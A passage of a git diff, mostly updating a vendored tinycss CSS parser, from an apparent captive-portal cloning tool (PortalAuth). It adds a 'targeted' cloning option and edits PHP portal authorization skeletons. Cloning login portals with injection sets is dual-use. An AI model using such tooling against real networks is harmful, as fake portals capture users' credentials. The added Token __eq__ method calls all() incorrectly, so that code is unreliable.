0.463, 0.316)), - ((56.9, 99.1, 76.5), (0.998, 0.974, 0.532)), - ((162.4, 77.9, 44.7), (0.099, 0.795, 0.591)), - ((248.3, 60.1, 37.3), (0.211, 0.149, 0.597)), - ((240.5, 29, 60.7), (0.495, 0.493, 0.721)), + ((0, 0, 100 ), (1, 1, 1 )), # noqa + ((127, 0, 100 ), (1, 1, 1 )), # noqa + ((0, 0, 50 ), (0.5, 0.5, 0.5 )), # noqa + ((127, 0, 50 ), (0.5, 0.5, 0.5 )), # noqa + ((0, 0, 0 ), (0, 0, 0 )), # noqa + ((127, 0, 0 ), (0, 0, 0 )), # noqa + ((0, 100, 50 ), (1, 0, 0 )), # noqa + ((60, 100, 37.5), (0.75, 0.75, 0 )), # noqa + ((780, 100, 37.5), (0.75, 0.75, 0 )), # noqa + ((-300, 100, 37.5), (0.75, 0.75, 0 )), # noqa + ((120, 100, 25 ), (0, 0.5, 0 )), # noqa + ((180, 100, 75 ), (0.5, 1, 1 )), # noqa + ((240, 100, 75 ), (0.5, 0.5, 1 )), # noqa + ((300, 50, 50 ), (0.75, 0.25, 0.75 )), # noqa + ((61.8, 63.8, 39.3), (0.628, 0.643, 0.142)), # noqa + ((251.1, 83.2, 51.1), (0.255, 0.104, 0.918)), # noqa + ((134.9, 70.7, 39.6), (0.116, 0.675, 0.255)), # noqa + ((49.5, 89.3, 49.7), (0.941, 0.785, 0.053)), # noqa + ((283.7, 77.5, 54.2), (0.704, 0.187, 0.897)), # noqa + ((14.3, 81.7, 62.4), (0.931, 0.463, 0.316)), # noqa + ((56.9, 99.1, 76.5), (0.998, 0.974, 0.532)), # noqa + ((162.4, 77.9, 44.7), (0.099, 0.795, 0.591)), # noqa + ((248.3, 60.1, 37.3), (0.211, 0.149, 0.597)), # noqa + ((240.5, 29, 60.7), (0.495, 0.493, 0.721)), # noqa ]) def test_hsl(hsl, expected_rgb): for got, expected in zip(hsl_to_rgb(*hsl), expected_rgb): diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/test_css21.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_css21.py old mode 100755 new mode 100644 similarity index 97% rename from PortalAuth/includes/scripts/libs/tinycss/tests/test_css21.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_css21.py index 48626d7..a8ca956 --- a/PortalAuth/includes/scripts/libs/tinycss/tests/test_css21.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_css21.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ Tests for the CSS 2.1 parser ---------------------------- @@ -9,16 +9,16 @@ from __future__ import unicode_literals + import io import os import tempfile import pytest - from tinycss.css21 import CSS21Parser -from .test_tokenizer import jsonify from . import assert_errors +from .test_tokenizer import jsonify def parse_bytes(css_bytes, kwargs): @@ -49,7 +49,7 @@ def parse_filename(css_bytes, kwargs): ('@import "é";'.encode('utf8'), {}, 'é'), ('@import "é";'.encode('utf16'), {}, 'é'), # with a BOM ('@import "é";'.encode('latin1'), {}, 'é'), - ('@import "£";'.encode('Shift-JIS'), {}, '\x81\x92'), # latin1 mojibake + ('@import "£";'.encode('Shift-JIS'), {}, '\x81\x92'), # lat1 mojibake ('@charset "Shift-JIS";@import "£";'.encode('Shift-JIS'), {}, '£'), (' @charset "Shift-JIS";@import "£";'.encode('Shift-JIS'), {}, '\x81\x92'), @@ -77,7 +77,8 @@ def test_bytes(css_bytes, kwargs, expected_result, parse): ('foo{} @lipsum{} bar{}', 2, ['unknown at-rule in stylesheet context: @lipsum']), ('@charset "ascii"; foo {}', 1, []), - (' @charset "ascii"; foo {}', 1, ['mis-placed or malformed @charset rule']), + (' @charset "ascii"; foo {}', 1, [ + 'mis-placed or malformed @charset rule']), ('@charset ascii; foo {}', 1, ['mis-placed or malformed @charset rule']), ('foo {} @charset "ascii";', 1, ['mis-placed or malformed @charset rule']), ]) @@ -109,8 +110,8 @@ def test_at_rules(css_source, expected_rules, expected_errors): ('a{b:4}', [('a', [('b', [('INTEGER', 4)])])], []), ('@page {\t b: 4; @margin}', [('@page', [], [ - ('S', '\t '), ('IDENT', 'b'), (':', ':'), ('S', ' '), ('INTEGER', 4), - (';', ';'), ('S', ' '), ('ATKEYWORD', '@margin'), + ('S', '\t '), ('IDENT', 'b'), (':', ':'), ('S', ' '), ('INTEGER', 4), + (';', ';'), ('S', ' '), ('ATKEYWORD', '@margin'), ])], []), ('foo', [], ['no declaration block found']), diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/test_decoding.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_decoding.py old mode 100755 new mode 100644 similarity index 96% rename from PortalAuth/includes/scripts/libs/tinycss/tests/test_decoding.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_decoding.py index 42df0c3..eaa8019 --- a/PortalAuth/includes/scripts/libs/tinycss/tests/test_decoding.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_decoding.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ Tests for decoding bytes to Unicode ----------------------------------- @@ -11,7 +11,6 @@ from __future__ import unicode_literals import pytest - from tinycss.decoding import decode @@ -30,13 +29,13 @@ def params(css, encoding, use_bom=False, expect_error=False, **kwargs): params('£', 'ShiftJIS', linking_encoding='Shift-JIS'), params('£', 'ShiftJIS', document_encoding='Shift-JIS'), params('£', 'ShiftJIS', protocol_encoding='utf8', - document_encoding='ShiftJIS'), + document_encoding='ShiftJIS'), params('@charset "utf8"; £', 'ShiftJIS', expect_error=True), params('@charset "utf£8"; £', 'ShiftJIS', expect_error=True), params('@charset "unknown-encoding"; £', 'ShiftJIS', expect_error=True), params('@charset "utf8"; £', 'ShiftJIS', document_encoding='ShiftJIS'), params('£', 'ShiftJIS', linking_encoding='utf8', - document_encoding='ShiftJIS'), + document_encoding='ShiftJIS'), params('@charset "utf-32"; 𐂃', 'utf-32-be'), params('@charset "Shift-JIS"; £', 'ShiftJIS'), params('@charset "ISO-8859-8"; £', 'ShiftJIS', expect_error=True), diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_fonts3.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_fonts3.py new file mode 100644 index 0000000..ee8ab67 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_fonts3.py @@ -0,0 +1,144 @@ +# coding: utf-8 +""" + Tests for the Fonts 3 parser + ---------------------------- + + :copyright: (c) 2016 by Kozea. + :license: BSD, see LICENSE for more details. +""" + + +from __future__ import unicode_literals + +import pytest +from tinycss.fonts3 import CSSFonts3Parser + +from . import assert_errors +from .test_tokenizer import jsonify + + +@pytest.mark.parametrize(('css', 'expected_family_names', 'expected_errors'), [ + ('@font-feature-values foo {}', ('foo',), []), + ('@font-feature-values Foo Test {}', ('Foo Test',), []), + ('@font-feature-values \'Foo Test\' {}', ('Foo Test',), []), + ('@font-feature-values Foo Test, Foo Lol, "Foo tooo"', ( + 'Foo Test', 'Foo Lol', 'Foo tooo'), []), + ('@font-feature-values Foo , Foo lol {}', ('Foo', 'Foo lol'), []), + ('@font-feature-values Foo , "Foobar" , Lol {}', ( + 'Foo', 'Foobar', 'Lol'), []), + ('@font-feature-values Foo, {}', None, [ + 'invalid @font-feature-values selector']), + ('@font-feature-values ,Foo {}', None, [ + 'invalid @font-feature-values selector']), + ('@font-feature-values Test,"Foo", {}', None, [ + 'invalid @font-feature-values selector']), + ('@font-feature-values Test "Foo" {}', None, [ + 'invalid @font-feature-values selector']), + ('@font-feature-values Test Foo, Test "bar", "foo" {}', None, [ + 'invalid @font-feature-values selector']), + ('@font-feature-values Test/Foo {}', None, [ + 'invalid @font-feature-values selector']), + ('@font-feature-values /Foo {}', None, [ + 'invalid @font-feature-values selector']), + ('@font-feature-values #Foo {}', None, [ + 'invalid @font-feature-values selector']), + # TODO: this currently works but should not work + # ('@font-feature-values test@foo {}', None, [ + # 'invalid @font-feature-values selector']), + ('@font-feature-values Hawaii 5-0 {}', None, [ + 'invalid @font-feature-values selector']), +]) +def test_font_feature_values_selectors(css, expected_family_names, + expected_errors): + stylesheet = CSSFonts3Parser().parse_stylesheet(css) + assert_errors(stylesheet.errors, expected_errors) + + if stylesheet.rules: + assert len(stylesheet.rules) == 1 + rule = stylesheet.rules[0] + assert rule.at_keyword == '@font-feature-values' + assert rule.family_names == expected_family_names + + +@pytest.mark.parametrize(('css', 'expected_declarations', 'expected_errors'), [ + ('@font-face {}', [], []), + ('@font-face test { src: "lol"; font-family: "bar" }', None, [ + 'unexpected IDENT token in @font-face rule header']), + ('@font-face { src: "lol"; font-family: "bar" }', [ + ('src', [('STRING', 'lol')]), + ('font-family', [('STRING', 'bar')])], []), + ('@font-face { src: "lol"; font-family: "bar"; src: "baz" }', [ + ('src', [('STRING', 'lol')]), + ('font-family', [('STRING', 'bar')]), + ('src', [('STRING', 'baz')])], []), +]) +def test_font_face_content(css, expected_declarations, expected_errors): + stylesheet = CSSFonts3Parser().parse_stylesheet(css) + assert_errors(stylesheet.errors, expected_errors) + + def declarations(rule): + return [(decl.name, list(jsonify(decl.value))) + for decl in rule.declarations] + + if expected_declarations is None: + assert stylesheet.rules == [] + assert expected_errors + else: + assert len(stylesheet.rules) == 1 + rule = stylesheet.rules[0] + assert rule.at_keyword == '@font-face' + assert declarations(rule) == expected_declarations + + +@pytest.mark.parametrize( + ('css', 'expected_rules', 'expected_errors'), [ + ('''@annotation{}''', None, [ + '@annotation rule not allowed in stylesheet']), + ('''@font-feature-values foo {}''', None, []), + ('''@font-feature-values foo { + @swash { ornate: 1; } + @styleset { double-W: 14; sharp-terminals: 16 1; } + }''', [ + ('@swash', [('ornate', [('INTEGER', 1)])]), + ('@styleset', [ + ('double-w', [('INTEGER', 14)]), + ('sharp-terminals', [ + ('INTEGER', 16), ('S', ' '), ('INTEGER', 1)])])], []), + ('''@font-feature-values foo { + @swash { ornate: 14; } + @unknown { test: 1; } + }''', [('@swash', [('ornate', [('INTEGER', 14)])])], [ + 'unknown at-rule in @font-feature-values context: @unknown']), + ('''@font-feature-values foo { + @annotation{boxed:1} + bad: 2; + @brokenstylesetbecauseofbadabove { sharp: 1} + @styleset { sharp-terminals: 16 1; @bad {}} + @styleset { @bad {} top-ignored: 3; top: 9000} + really-bad + }''', [ + ('@annotation', [('boxed', [('INTEGER', 1)])]), + ('@styleset', [ + ('sharp-terminals', [ + ('INTEGER', 16), ('S', ' '), ('INTEGER', 1)])]), + ('@styleset', [('top', [('INTEGER', 9000)])])], [ + 'unexpected ; token in selector', + 'expected a property name, got ATKEYWORD', + 'expected a property name, got ATKEYWORD', + 'no declaration block found for ruleset']), + ]) +def test_font_feature_values_content(css, expected_rules, expected_errors): + stylesheet = CSSFonts3Parser().parse_stylesheet(css) + assert_errors(stylesheet.errors, expected_errors) + + if expected_rules is not None: + assert len(stylesheet.rules) == 1 + rule = stylesheet.rules[0] + assert rule.at_keyword == '@font-feature-values' + + rules = [ + (at_rule.at_keyword, [ + (decl.name, list(jsonify(decl.value))) + for decl in at_rule.declarations]) + for at_rule in rule.at_rules] if rule.at_rules else None + assert rules == expected_rules diff --git a/PortalAuth/includes/scripts/libs/tinycss/tests/test_page3.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_page3.py old mode 100755 new mode 100644 similarity index 81% rename from PortalAuth/includes/scripts/libs/tinycss/tests/test_page3.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_page3.py index f73c8c2..7d2b2d2 --- a/PortalAuth/includes/scripts/libs/tinycss/tests/test_page3.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_page3.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ Tests for the Paged Media 3 parser ---------------------------------- @@ -11,11 +11,10 @@ from __future__ import unicode_literals import pytest - -from tinycss.css21 import CSS21Parser from tinycss.page3 import CSSPage3Parser -from .test_tokenizer import jsonify + from . import assert_errors +from .test_tokenizer import jsonify @pytest.mark.parametrize(('css', 'expected_selector', @@ -57,7 +56,7 @@ def test_selectors(css, expected_selector, expected_specificity, @pytest.mark.parametrize(('css', 'expected_declarations', - 'expected_rules','expected_errors'), [ + 'expected_rules', 'expected_errors'), [ ('@page {}', [], [], []), ('@page { foo: 4; bar: z }', [('foo', [('INTEGER', 4)]), ('bar', [('IDENT', 'z')])], [], []), @@ -69,7 +68,7 @@ def test_selectors(css, expected_selector, expected_specificity, [('foo', [('INTEGER', 4)]), ('bar', [('IDENT', 'z')])], [('@top-center', [('content', [('STRING', 'Awesome Title')])]), ('@bottom-left', [('content', [ - ('FUNCTION', 'counter', [('IDENT', 'page')])])])], + ('FUNCTION', 'counter', [('IDENT', 'page')])])])], []), ('''@page { foo: 4; @bottom-top { content: counter(page) } @@ -100,21 +99,3 @@ def test_content(css, expected_declarations, expected_rules, expected_errors): rules = [(margin_rule.at_keyword, declarations(margin_rule)) for margin_rule in rule.at_rules] assert rules == expected_rules - - -def test_in_at_media(): - css = '@media print { @page { size: A4 } }' - - stylesheet = CSS21Parser().parse_stylesheet(css) - assert_errors(stylesheet.errors, ['@page rule not allowed in @media']) - at_media_rule, = stylesheet.rules - assert at_media_rule.at_keyword == '@media' - assert at_media_rule.rules == [] - - stylesheet = CSSPage3Parser().parse_stylesheet(css) - assert stylesheet.errors == [] - at_media_rule, = stylesheet.rules - at_page_rule, = at_media_rule.rules - assert at_media_rule.at_keyword == '@media' - assert at_page_rule.at_keyword == '@page' - assert len(at_page_rule.declarations) == 1 diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_tokenizer.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_tokenizer.py new file mode 100644 index 0000000..f3e7a6f --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_tokenizer.py @@ -0,0 +1,302 @@ +# coding: utf-8 +""" + Tests for the tokenizer + ----------------------- + + :copyright: (c) 2012 by Simon Sapin. + :license: BSD, see LICENSE for more details. +""" + + +from __future__ import unicode_literals + +import os +import sys + +import pytest +from tinycss.tokenizer import ( + cython_tokenize_flat, python_tokenize_flat, regroup) + + +def test_speedups(): + is_pypy = hasattr(sys, 'pypy_translation_info') + env_skip_tests = os.environ.get('TINYCSS_SKIP_SPEEDUPS_TESTS') + # pragma: no cover + if is_pypy or env_skip_tests: + return + assert cython_tokenize_flat is not None, ( + 'Cython speedups are not installed, related tests will ' + 'be skipped. Set the TINYCSS_SKIP_SPEEDUPS_TESTS environment ' + 'variable if this is expected.') + + +@pytest.mark.parametrize(('tokenize', 'css_source', 'expected_tokens'), [ + (tokenize,) + test_data + for tokenize in (python_tokenize_flat, cython_tokenize_flat) + for test_data in [ + ('', []), + ('red -->', [('IDENT', 'red'), ('S', ' '), ('CDC', '-->')]), + # Longest match rule: no CDC + ('red-->', [('IDENT', 'red--'), ('DELIM', '>')]), + (r'p[example="foo(int x) { this.x = x;}"]', [ + ('IDENT', 'p'), + ('[', '['), + ('IDENT', 'example'), + ('DELIM', '='), + ('STRING', 'foo(int x) { this.x = x;}'), + (']', ']')]), + + # Numbers are parsed + ('42 .5 -4pX 1.25em 30%', [ + ('INTEGER', 42), ('S', ' '), + ('NUMBER', .5), ('S', ' '), + # units are normalized to lower-case: + ('DIMENSION', -4, 'px'), ('S', ' '), + ('DIMENSION', 1.25, 'em'), ('S', ' '), + ('PERCENTAGE', 30, '%')]), + + # URLs are extracted + ('url(foo.png)', [('URI', 'foo.png')]), + ('url("foo.png")', [('URI', 'foo.png')]), + + # Escaping + + (r'/* Comment with a \ backslash */', [ + ('COMMENT', '/* Comment with a \ backslash */')]), # Unchanged + + # backslash followed by a newline in a string: ignored + ('"Lorem\\\nIpsum"', [('STRING', 'LoremIpsum')]), + + # backslash followed by a newline outside a string: stands for itself + ('Lorem\\\nIpsum', [ + ('IDENT', 'Lorem'), ('DELIM', '\\'), + ('S', '\n'), ('IDENT', 'Ipsum')]), + + # Cancel the meaning of special characters + (r'"Lore\m Ipsum"', [('STRING', 'Lorem Ipsum')]), # or not specal + (r'"Lorem \49psum"', [('STRING', 'Lorem Ipsum')]), + (r'"Lorem \49 psum"', [('STRING', 'Lorem Ipsum')]), + (r'"Lorem\"Ipsum"', [('STRING', 'Lorem"Ipsum')]), + (r'"Lorem\\Ipsum"', [('STRING', r'Lorem\Ipsum')]), + (r'"Lorem\5c Ipsum"', [('STRING', r'Lorem\Ipsum')]), + (r'Lorem\+Ipsum', [('IDENT', 'Lorem+Ipsum')]), + (r'Lorem+Ipsum', [ + ('IDENT', 'Lorem'), ('DELIM', '+'), ('IDENT', 'Ipsum')]), + (r'url(foo\).png)', [('URI', 'foo).png')]), + + # Unicode and backslash escaping + ('\\26 B', [('IDENT', '&B')]), + ('\\&B', [('IDENT', '&B')]), + ('@\\26\tB', [('ATKEYWORD', '@&B')]), + ('@\\&B', [('ATKEYWORD', '@&B')]), + ('#\\26\nB', [('HASH', '#&B')]), + ('#\\&B', [('HASH', '#&B')]), + ('\\26\r\nB(', [('FUNCTION', '&B(')]), + ('\\&B(', [('FUNCTION', '&B(')]), + (r'12.5\000026B', [('DIMENSION', 12.5, '&b')]), + (r'12.5\0000263B', [('DIMENSION', 12.5, '&3b')]), # max 6 digits + (r'12.5\&B', [('DIMENSION', 12.5, '&b')]), + (r'"\26 B"', [('STRING', '&B')]), + (r"'\000026B'", [('STRING', '&B')]), + (r'"\&B"', [('STRING', '&B')]), + (r'url("\26 B")', [('URI', '&B')]), + (r'url(\26 B)', [('URI', '&B')]), + (r'url("\&B")', [('URI', '&B')]), + (r'url(\&B)', [('URI', '&B')]), + (r'Lorem\110000Ipsum', [('IDENT', 'Lorem\uFFFDIpsum')]), + + # Bad strings + + # String ends at EOF without closing: no error, parsed + ('"Lorem\\26Ipsum', [('STRING', 'Lorem&Ipsum')]), + # Unescaped newline: ends the string, error, unparsed + ('"Lorem\\26Ipsum\n', [ + ('BAD_STRING', r'"Lorem\26Ipsum'), ('S', '\n')]), + # Tokenization restarts after the newline, so the second " starts + # a new string (which ends at EOF without errors, as above.) + ('"Lorem\\26Ipsum\ndolor" sit', [ + ('BAD_STRING', r'"Lorem\26Ipsum'), ('S', '\n'), + ('IDENT', 'dolor'), ('STRING', ' sit')]), + + ]]) +def test_tokens(tokenize, css_source, expected_tokens): + if tokenize is None: # pragma: no cover + pytest.skip('Speedups not available') + sources = [css_source] + if sys.version_info[0] < 3: + # On Python 2.x, ASCII-only bytestrings can be used + # where Unicode is expected. + sources.append(css_source.encode('ascii')) + for css_source in sources: + tokens = tokenize(css_source, ignore_comments=False) + result = [ + (token.type, token.value) + ( + () if token.unit is None else (token.unit,)) + for token in tokens + ] + assert result == expected_tokens + + +@pytest.mark.parametrize('tokenize', [ + python_tokenize_flat, cython_tokenize_flat]) +def test_positions(tokenize): + """Test the reported line/column position of each token.""" + if tokenize is None: # pragma: no cover + pytest.skip('Speedups not available') + css = '/* Lorem\nipsum */\fa {\n color: red;\tcontent: "dolor\\\fsit" }' + tokens = tokenize(css, ignore_comments=False) + result = [(token.type, token.line, token.column) for token in tokens] + assert result == [ + ('COMMENT', 1, 1), ('S', 2, 9), + ('IDENT', 3, 1), ('S', 3, 2), ('{', 3, 3), + ('S', 3, 4), ('IDENT', 4, 5), (':', 4, 10), + ('S', 4, 11), ('IDENT', 4, 12), (';', 4, 15), ('S', 4, 16), + ('IDENT', 4, 17), (':', 4, 24), ('S', 4, 25), ('STRING', 4, 26), + ('S', 5, 5), ('}', 5, 6)] + + +@pytest.mark.parametrize(('tokenize', 'css_source', 'expected_tokens'), [ + (tokenize,) + test_data + for tokenize in (python_tokenize_flat, cython_tokenize_flat) + for test_data in [ + ('', []), + (r'Lorem\26 "i\psum"4px', [ + ('IDENT', 'Lorem&'), ('STRING', 'ipsum'), ('DIMENSION', 4)]), + + ('not([[lorem]]{ipsum (42)})', [ + ('FUNCTION', 'not', [ + ('[', [ + ('[', [ + ('IDENT', 'lorem'), + ]), + ]), + ('{', [ + ('IDENT', 'ipsum'), + ('S', ' '), + ('(', [ + ('INTEGER', 42), + ]) + ]) + ])]), + + # Close everything at EOF, no error + ('a[b{"d', [ + ('IDENT', 'a'), + ('[', [ + ('IDENT', 'b'), + ('{', [ + ('STRING', 'd'), + ]), + ]), + ]), + + # Any remaining ), ] or } token is a nesting error + ('a[b{d]e}', [ + ('IDENT', 'a'), + ('[', [ + ('IDENT', 'b'), + ('{', [ + ('IDENT', 'd'), + (']', ']'), # The error is visible here + ('IDENT', 'e'), + ]), + ]), + ]), + # ref: + ('a[b{d}e]', [ + ('IDENT', 'a'), + ('[', [ + ('IDENT', 'b'), + ('{', [ + ('IDENT', 'd'), + ]), + ('IDENT', 'e'), + ]), + ]), + ]]) +def test_token_grouping(tokenize, css_source, expected_tokens): + if tokenize is None: # pragma: no cover + pytest.skip('Speedups not available') + tokens = regroup(tokenize(css_source, ignore_comments=False)) + result = list(jsonify(tokens)) + assert result == expected_tokens + + +def jsonify(tokens): + """Turn tokens into "JSON-compatible" data structures.""" + for token in tokens: + if token.type == 'FUNCTION': + yield (token.type, token.function_name, + list(jsonify(token.content))) + elif token.is_container: + yield token.type, list(jsonify(token.content)) + else: + yield token.type, token.value + + +@pytest.mark.parametrize(('tokenize', 'ignore_comments', 'expected_tokens'), [ + (tokenize,) + test_data + for tokenize in (python_tokenize_flat, cython_tokenize_flat) + for test_data in [ + (False, [ + ('COMMENT', '/* lorem */'), + ('S', ' '), + ('IDENT', 'ipsum'), + ('[', [ + ('IDENT', 'dolor'), + ('COMMENT', '/* sit */'), + ]), + ('BAD_COMMENT', '/* amet') + ]), + (True, [ + ('S', ' '), + ('IDENT', 'ipsum'), + ('[', [ + ('IDENT', 'dolor'), + ]), + ]), + ]]) +def test_comments(tokenize, ignore_comments, expected_tokens): + if tokenize is None: # pragma: no cover + pytest.skip('Speedups not available') + css_source = '/* lorem */ ipsum[dolor/* sit */]/* amet' + tokens = regroup(tokenize(css_source, ignore_comments)) + result = list(jsonify(tokens)) + assert result == expected_tokens + + +@pytest.mark.parametrize(('tokenize', 'css_source'), [ + (tokenize, test_data) + for tokenize in (python_tokenize_flat, cython_tokenize_flat) + for test_data in [ + r'p[example="foo(int x) { this.x = x;}"]', + '"Lorem\\26Ipsum\ndolor" sit', + '/* Lorem\nipsum */\fa {\n color: red;\tcontent: "dolor\\\fsit" }', + 'not([[lorem]]{ipsum (42)})', + 'a[b{d]e}', + 'a[b{"d', + ]]) +def test_token_serialize_css(tokenize, css_source): + if tokenize is None: # pragma: no cover + pytest.skip('Speedups not available') + for _regroup in [regroup, lambda x: x]: + tokens = _regroup(tokenize(css_source, ignore_comments=False)) + result = ''.join(token.as_css() for token in tokens) + assert result == css_source + + +@pytest.mark.parametrize(('tokenize', 'css_source'), [ + (tokenize, test_data) + for tokenize in (python_tokenize_flat, cython_tokenize_flat) + for test_data in [ + '(8, foo, [z])', '[8, foo, (z)]', '{8, foo, [z]}', 'func(8, foo, [z])' + ] +]) +def test_token_api(tokenize, css_source): + if tokenize is None: # pragma: no cover + pytest.skip('Speedups not available') + tokens = list(regroup(tokenize(css_source))) + assert len(tokens) == 1 + token = tokens[0] + expected_len = 7 # 2 spaces, 2 commas, 3 others. + assert len(token.content) == expected_len diff --git a/PortalAuth/includes/scripts/libs/tinycss/token_data.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/token_data.py old mode 100755 new mode 100644 similarity index 96% rename from PortalAuth/includes/scripts/libs/tinycss/token_data.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/token_data.py index dcd9232..4111e1f --- a/PortalAuth/includes/scripts/libs/tinycss/token_data.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/token_data.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.token_data ------------------ @@ -11,12 +11,11 @@ from __future__ import unicode_literals -import re -import sys -import operator import functools +import operator +import re import string - +import sys # * Raw strings with the r'' notation are used so that \ do not need # to be escaped. @@ -206,7 +205,7 @@ NEWLINE_UNESCAPE = functools.partial( '') SIMPLE_UNESCAPE = functools.partial( - re.compile(r'\\(%s)' % COMPILED_MACROS['simple_escape'] , re.I).sub, + re.compile(r'\\(%s)' % COMPILED_MACROS['simple_escape'], re.I).sub, # Same as r'\1', but faster on CPython operator.methodcaller('group', 1)) @@ -329,6 +328,18 @@ class Token(object): return ('' .format(self, self.unit or '')) + def __eq__(self, other): + if type(self) != type(other): + raise TypeError( + 'Cannot compare {0} and {1}'.format(type(self), type(other))) + else: + return all( + self.type_ == other.type_, + self._as_css == other._as_css, + self.value == other.value, + self.unit == other.unit, + ) + class ContainerToken(object): """A token that contains other (nested) tokens. diff --git a/PortalAuth/includes/scripts/libs/tinycss/tokenizer.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tokenizer.py old mode 100755 new mode 100644 similarity index 90% rename from PortalAuth/includes/scripts/libs/tinycss/tokenizer.py rename to PortalAuth/includes/scripts/libs/tinycss/tinycss/tokenizer.py index eba44c1..114b19b --- a/PortalAuth/includes/scripts/libs/tinycss/tokenizer.py +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/tokenizer.py @@ -1,4 +1,4 @@ -# coding: utf8 +# coding: utf-8 """ tinycss.tokenizer ----------------- @@ -17,20 +17,20 @@ from __future__ import unicode_literals from . import token_data -def tokenize_flat(css_source, ignore_comments=True, - # Make these local variable to avoid global lookups in the loop - tokens_dispatch=token_data.TOKEN_DISPATCH, - unicode_unescape=token_data.UNICODE_UNESCAPE, - newline_unescape=token_data.NEWLINE_UNESCAPE, - simple_unescape=token_data.SIMPLE_UNESCAPE, - find_newlines=token_data.FIND_NEWLINES, - Token=token_data.Token, - len=len, - int=int, - float=float, - list=list, - _None=None, -): +def tokenize_flat( + css_source, ignore_comments=True, + # Make these local variable to avoid global lookups in the loop + tokens_dispatch=token_data.TOKEN_DISPATCH, + unicode_unescape=token_data.UNICODE_UNESCAPE, + newline_unescape=token_data.NEWLINE_UNESCAPE, + simple_unescape=token_data.SIMPLE_UNESCAPE, + find_newlines=token_data.FIND_NEWLINES, + Token=token_data.Token, + len=len, + int=int, + float=float, + list=list, + _None=None): """ :param css_source: CSS as an unicode string @@ -158,10 +158,9 @@ def regroup(tokens): tokens = iter(tokens) eof = [False] - def _regroup_inner(stop_at=None, - tokens=tokens, pairs=pairs, eof=eof, - ContainerToken=token_data.ContainerToken, - FunctionToken=token_data.FunctionToken): + def _regroup_inner(stop_at=None, tokens=tokens, pairs=pairs, eof=eof, + ContainerToken=token_data.ContainerToken, + FunctionToken=token_data.FunctionToken): for token in tokens: type_ = token.type if type_ == stop_at: diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/version.py b/PortalAuth/includes/scripts/libs/tinycss/tinycss/version.py new file mode 100644 index 0000000..f896235 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/tinycss/version.py @@ -0,0 +1 @@ +VERSION = '0.4' diff --git a/PortalAuth/includes/scripts/libs/tinycss/version.py b/PortalAuth/includes/scripts/libs/tinycss/version.py deleted file mode 100755 index 014a8e4..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/version.py +++ /dev/null @@ -1 +0,0 @@ -VERSION = '0.3' diff --git a/PortalAuth/includes/scripts/portalclone.py b/PortalAuth/includes/scripts/portalclone.py index c8c5558..bc38fc6 100755 --- a/PortalAuth/includes/scripts/portalclone.py +++ b/PortalAuth/includes/scripts/portalclone.py @@ -16,10 +16,11 @@ parser.add_argument('--stripjs', action='store_true', dest='stripjs', help='Stri parser.add_argument('--stripcss', action='store_true', dest='stripcss', help='Strip inline CSS from the cloned portal', required=False) parser.add_argument('--striplinks', action='store_true', dest='striplinks', help='Strip links from the cloned portal', required=False) parser.add_argument('--stripforms', action='store_true', dest='stripforms', help='Strip form elements from the cloned portal', required=False) +parser.add_argument('--targeted', action='store_true', dest='targeted', help='Clone to a targeted portal', required=False) args = parser.parse_args() -cloner = PortalCloner(args.portalName, args.portalArchive, args.injectionSet) +cloner = PortalCloner(args.portalName, args.portalArchive, args.injectionSet, args.targeted) cloner.fetchPage(args.url) cloner.cloneResources() diff --git a/PortalAuth/includes/scripts/skeleton/MyPortal.php b/PortalAuth/includes/scripts/skeleton/MyPortal.php index 8847a5c..ad92918 100755 --- a/PortalAuth/includes/scripts/skeleton/MyPortal.php +++ b/PortalAuth/includes/scripts/skeleton/MyPortal.php @@ -2,25 +2,33 @@ class MyPortal extends Portal { + + public function handleAuthorization() + { + // handle form input or other extra things there - public function handleAuthorization() - { - // Call parent to handle basic authorization first - parent::handleAuthorization(); + // Call parent to handle basic authorization first + parent::handleAuthorization(); - // Check for other form data here - } + } - public function showSuccess() - { - // Calls default success message - //parent::showSuccess(); - parent::redirect(); - } + /** + * Override this to do something when the client is successfully authorized. + * By default it just notifies the Web UI. + */ + public function onSuccess() + { + // Calls default success message + parent::onSuccess(); + } - public function showError() - { - // Calls default error message - parent::showError(); - } + /** + * If an error occurs then do something here. + * Override to provide your own functionality. + */ + public function showError() + { + // Calls default error message + parent::showError(); + } } diff --git a/PortalAuth/includes/scripts/skeleton/helper.php b/PortalAuth/includes/scripts/skeleton/helper.php new file mode 100644 index 0000000..046684c --- /dev/null +++ b/PortalAuth/includes/scripts/skeleton/helper.php @@ -0,0 +1,45 @@ +Strip Forms +
    + +
